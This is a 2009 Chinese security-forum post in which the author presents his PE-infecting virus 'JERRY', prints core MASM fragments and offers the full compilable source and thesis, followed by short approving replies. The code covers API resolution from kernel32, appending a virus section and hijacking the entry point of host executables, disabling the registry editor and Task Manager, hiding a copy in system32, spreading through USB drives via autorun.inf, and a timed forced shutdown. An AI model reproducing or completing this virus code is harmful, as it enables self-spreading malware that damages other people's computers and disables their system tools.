首页
社区
课程
招聘
[旧帖] [原创]PE感染型病毒的研究和代码实现,附上代码和论文 0.00雪花
发表于: 2009-5-9 13:49 133550

[旧帖] [原创]PE感染型病毒的研究和代码实现,附上代码和论文 0.00雪花

2009-5-9 13:49
133550
我对安全相关的技术非常感兴趣,于是很早就定下了说在大学期间好好研究恶意代码技术,希望自己能做一个名副其实的无害的病毒。由于大学2年级才有了自己的电脑,入门太晚,还是太菜。花了近1年半才似懂非懂的做出了这个PE感染型病毒。已经毕业好几年了。偶然发现我的论文和代码居然在一些小网站售卖。不知道是哪个黑心的老师干的,加上自从看雪改版以来这里的气氛非常活跃。我就决定发到我长久景仰的看雪。
东西确实比较基础,发到初学者这里,但这一切是我在毫无恶意代码的知识和汇编知识的情况下花了一年多时间一点点啃出来的。请各位不要笑话。谢谢

大多的知识是吸取了guojpeng大牛的一篇paper,在此表示感谢。但由于代码只是片段。我加上了自己的很多东西,并调试通过编译。
程序并无大的破坏,只是修改了几个注册表键值和定时发作关机。也并未常驻内存,只是感染了C目录下的winrar.exe

这个程序分5个模块


  • 病毒程序主模块-JERRY.ASM

主模块实现病毒的重定位,查找Kernel32基地址,调用SearchAPI搜索相应的API函数地址,文件操作,调用Modify_PE感染HOST文件,调用EffectU感染主机和U盘,调用Burst发作。流程参照图1。



  • 病毒程序搜索API函数模块-SearchAPI.ASM

基本流程图
通过已知函数名称和Kernel32引出表来查找所需API函数地址并存放,方便以后使用。相关理论知识参照2.2.4获取API函数地址。基本搜索流程如图2。


核心代码
    lea edi,[ebp+aGetModuleHandle]        ;EDI指向API函数地址存放位置        lea esi,[ebp+lpApiAddrs]              ;ESI指向API函数名字串偏移地址Loop_Get_API:    
    lodsd                             ;EAX,DS:ESI
    cmp eax,0
    jz End_Get_API 
    add eax,ebp
    push eax                          ;第一次EAX中放着GetModuleHandleA函数名字串的真实位置
    push dword ptr [ebp+k32Base]        ;kernel32.dll基地址
    call GetAPIAdd                    ;SearchAPI.asm中过程GetAPIA proto :DWORD,:DWORD
    stosd
    jmp Loop_Get_API                ;获得API地址,参见SearchAPI.asm文件
End_Get_API:



  • 病毒程序感染EXE文件模块-Modify_PE.ASM

基本流程图
这是病毒将自身寄生到HOST中,感染部分的模块。基本感染流程如图3。


核心代码
cmp word ptr [esi],'ZM'                               ;PE文件判断第一步
jne CouldNotInfect
cmp word ptr [esi],'EP'                               ;PE文件判断第二步 
jne CouldNotInfect 
cmp dword ptr [esi+8],'JERR'                          ;文件是否已经感染
je Loop_Get_Path               ;如果已经感染过了,试图感染下一个指定文件
……
mov [ebp+pe_Header],esi                               ;保存pe_Header指针 
mov ecx,[esi+74h]                                     ;得到directory的数目 
imul ecx,ecx,8 
lea eax,[ecx+esi+78h]                                 ;eax=data directory结束地址=节表起始地址 
movzx ecx,word ptr [esi+6h]                           ;节数目 
imul ecx,ecx,28h                                      ;得到所有节表的大小 
add eax,ecx                                           ;节结尾
xchg eax,esi               ;eax->Pe_header,esi->最后节开始偏移(即病毒节开始处)
;----------以上得到了新节的起始地址,以下是利用起始对病毒节的操作------------
mov dword ptr [esi],'REJ.'                              ;节名.JERRY 
mov dword ptr [esi+8],VirusLen                          ;节的实际大小
……
mov dword ptr [esi+10h],eax                           ;保存节对齐文件后的大小
mov eax,[esi-40+14h] 
add eax,[esi-40+10h] 
mov [esi+14h],eax                                     ;PointerToRawData更新 
mov [ebp+oldEnd],eax                     ;病毒代码往HOST文件中的写入点 
mov eax,[ebp+pe_Header] 
inc word ptr [eax+6h]                                 ;更新节数目 
mov ebx,[eax+28h]                                     ;eip指针偏移 

mov [ebp+oldEip],ebx                                  ;保存老指针 
mov ebx,[ebp+newEip]                         ;使HOST程序首先执行病毒程序 
mov [eax+28h],ebx                                     ;更新指针值 
mov ebx,[eax+50h]                                     ;更新ImageSize 
add ebx,VirusLen
……
mov [eax+50h],ebx ;确保更新后的Image_Size大小=(原Image_size+病毒长度)对齐后的长度 
mov dword ptr [eax+8],'JERR'     ;病毒感染标志直接写到被感染文件的PE头中
cld
mov ecx,VirusLen
mov edi,[ebp+oldEnd]
add edi,[ebp+pMem]
lea esi,[ebp+vBegin]
rep movsb                        ;将病毒代码写入目标文件新建的节中!
……
push [ebp+hFile] 
call [ebp+aSetFilePointer]                            ;设定文件读写指针
push [ebp+hFile] 
call [ebp+aSetEndOfFile]                       ; 将当前文件位置设为文件末尾



  • 病毒程序感染及U盘传播模块-EffectU.ASM

基本流程图
本模块是主要的不发作的破坏模块,包括禁用注册表,禁用任务管理器,关联NOTEPDA.EXE,把自己隐藏并存放到系统目录下,传播U盘等。如图4。


本模块的程序流程图如图4所示。
核心代码
call [ebp+aLoadLibrary]                  ;导入advapi32.dll链接库
mov ebx,eax
lea edx,[ebp+sRegOpenKeyExA] 
push edx 
push ebx 
call [ebp+aGetProcAddress]               ;获取RegOpenKeyExA函数的地址
……
call [ebp+aRegOpenKeyExA]             ;修改注册表与NOTEPAD.EXE关联
……
call [ebp+aRegSetValueExA]
……
push FALSE
lea eax,[ebp+destinationaddr]
push eax
lea eax,[ebp+sourceaddr]
push eax
call [ebp+aCopyFileA]    ;把JERRY.EXE拷贝到C:WINDOWS\system32\JERRY.EXE
;-------------------------------
push FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN
lea  eax,[ebp+destinationaddr]
push eax
call [ebp+aSetFileAttributes]
……
call [ebp+aGetDriveTypeA]                  ;取得U盘的盘符
cmp eax,DRIVE_REMOVABLE
……
call [ebp+aCopyFileA]         ;拷贝文件\system32\JERRY.exe到#:\JERRY.EXE
……
push FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN
……
push GENERIC_READ+GENERIC_WRITE
call [ebp+aCreateFile]                    ;生成空#:\autorun.inf
……
call [ebp+aWriteFile]                    ;为anturun.inf写入内容
……


  • 病毒程序发作模块-Burst.ASM

基本流程图
病毒会取系统时间并选择在合适的时间发作,发作的征兆有提示框,关机。


核心代码
call [ebp+aLoadLibrary]                          ;导入user32.dll链接库
mov ebx,eax 
lea edx,[ebp+sMessageBoxA] 
push edx 
push eax 
call [ebp+aGetProcAddress]                       ;获取MessageBoxA函数的地址
……
lea eax,[ebp+Time]                             ;23:20-23:59分之间发作
push eax
call [ebp+aGetSystemTime]
cmp [ebp+Time].wHour,0Fh
jnz No_Infect
cmp [ebp+Time].wMinute,3Bh
ja No_Infect
cmp [ebp+Time].wMinute,14h
jb No_Infect
……
push 0 
call [ebp+aMessageBoxA]
……
push SW_SHOW
lea eax,[ebp+shutdown]
push eax
call [ebp+aWinExec] 


这里附上我全部源代码和最终的论文。源代码直接通过masm编译就可,另外里面还有2个BAT文件用于完全清除机器上的病毒,论文比较完整的展现了PE感染型病毒的基本知识希望对初学者有所的帮助。

[课程]Linux pwn 探索篇!

上传的附件:
收藏
免费 9
支持
分享
最新回复 (176)
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
图不错 有助消化
2009-5-9 13:55
0
雪    币: 339
活跃值: (10)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
3
不错,不错,收藏了
2009-5-9 16:10
0
雪    币: 104
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
貌似在第一页
2009-5-9 18:17
0
雪    币: 399
活跃值: (38)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
5
我想知道楼主的图片是用什么工具制作的?
一看就是专业人士
2009-5-9 18:32
0
雪    币: 223
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
偶然发现我的论文和代码居然在一些小网站售卖。不知道是哪个黑心的老师干的

世風日下.....
2009-5-9 19:44
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
谢谢了,写得太好了!!!
2009-5-9 21:02
0
雪    币: 359
活跃值: (430)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
8
不错的东西,下载收藏!

支持一下
2009-5-9 21:06
0
雪    币: 54
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
楼主在大学里确实所学不少,呵呵

至于大学老师,素质那就难说了 良莠不齐
2009-5-9 23:01
0
雪    币: 204
活跃值: (76)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
好好学习了,对于我这个业余的人来说,要花功夫了
2009-5-9 23:04
0
雪    币: 1407
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
进来学习
非常感谢楼主的分享
2009-5-9 23:07
0
雪    币: 1844
活跃值: (35)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
12
收藏了。。。。。。。。。。。。。。。。。。。。。。。
2009-5-10 09:29
0
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
向楼主的学习精神学习!
2009-5-10 10:41
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
14
非常不错,有机会进优秀论文
2009-5-10 14:06
0
雪    币: 336
活跃值: (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
15
看了你的文章,受到很大启发
2009-5-11 10:00
0
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
thank you
2009-5-11 10:18
0
雪    币: 232
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
收藏,谢谢
2009-5-11 11:00
0
雪    币: 387
活跃值: (25)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
18
very good, very powerful !
2009-5-11 13:21
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ghi
19
向楼主学习  我现在还在大学期间 在抓紧时间多学东西
这篇论文无论如何得好好研究下
谢谢lz
2009-5-11 14:19
0
雪    币: 144
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
恩~~不错~处理文件时和壳的原理基本相似~传播途径值得学习~~不过~就是好像目前的杀毒软件会把ope在最后的当成病毒处理,我写的壳就遇到这样的问题~头疼
2009-5-11 16:40
0
雪    币: 949
活跃值: (18)
能力值: ( LV9,RANK:330 )
在线值:
发帖
回帖
粉丝
21
这篇文章不顶不行,下来仔细学习学习。
2009-5-11 21:46
0
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
下载下来学习一下!
2009-5-11 22:22
0
雪    币: 199
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
来学习的。。。
2009-5-12 12:16
0
雪    币: 211
活跃值: (321)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
我是来学习的,visio图画的不错。
2009-5-12 13:08
0
雪    币: 213
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
很好很强大!!!!!!!!
2009-5-12 21:29
0
游客
登录 | 注册 方可回帖
返回
//